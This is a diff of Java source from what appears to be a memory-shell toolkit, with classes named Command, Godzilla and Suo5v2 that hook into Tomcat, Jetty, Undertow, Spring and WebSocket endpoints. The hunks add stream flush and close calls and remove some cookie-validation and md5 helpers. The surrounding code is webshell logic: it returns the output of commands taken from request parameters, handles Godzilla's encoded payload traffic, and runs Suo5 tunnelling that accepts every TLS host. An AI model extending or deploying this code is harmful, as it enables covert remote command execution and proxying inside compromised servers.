response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+1
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
response.getWriter().flush();
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
|
|||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
inputStream.close();
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
-7
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
|
|||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||||
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
public void onMessage(String cmd) {
|
public void onMessage(String cmd) {
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = getInputStream(getParam(cmd));
|
InputStream inputStream = getInputStream(getParam(cmd));
|
||||||
byte[] buf = new byte[8192];
|
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
int length;
|
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
session.getBasicRemote().sendText(outputStream.toString());
|
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
|
|||||||
+2
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
@@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignore) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+5
-104
@@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -988,109 +992,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -993,109 +997,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1005,109 +1009,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
|
|||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignore) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+5
-104
@@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1004,109 +1008,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
